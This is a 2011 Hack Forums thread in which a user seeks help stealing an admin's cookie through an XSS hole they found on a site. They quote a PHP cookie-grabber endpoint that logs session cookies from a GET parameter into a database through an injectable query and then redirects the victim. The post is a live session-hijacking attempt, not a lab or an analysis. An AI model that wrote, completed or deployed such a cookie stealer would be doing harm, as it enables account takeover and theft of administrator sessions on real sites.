Hack Forums
Need help whit XSS - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Beginner Hacking (https://hackforums.net/forumdisplay.php?fid=4)
+----- Forum: Hacking Tutorials (https://hackforums.net/forumdisplay.php?fid=47)
+----- Thread: Need help whit XSS (/showthread.php?tid=951258)



Need help whit XSS - Etien1 - Jan 4, 2011

Alright, so im trying to get the admin cookie.
I found an vulnerable textbox to XSS.
I made a php script hosted on a website, but i dont realy know php well, and i need help, im trying to make it save the cookie in a simple txt files, but every script i found is putting the cookie into an sql db, which i never started to learn.

What would be the script to write?

Quote:<?php
//Conect to database
$con = mysql_connect(servername,username,password);
mysql_select_db("my_db", $con);
//Insert cookie values at database
mysql_query("INSERT INTO table_name (cookieuser,...)
VALUES ('".$_GET['cuser']."',....)");
//Go back where we were
echo '<script>document.location = "NOT GIVING YOU THIS WEBSITE"</script>';
?>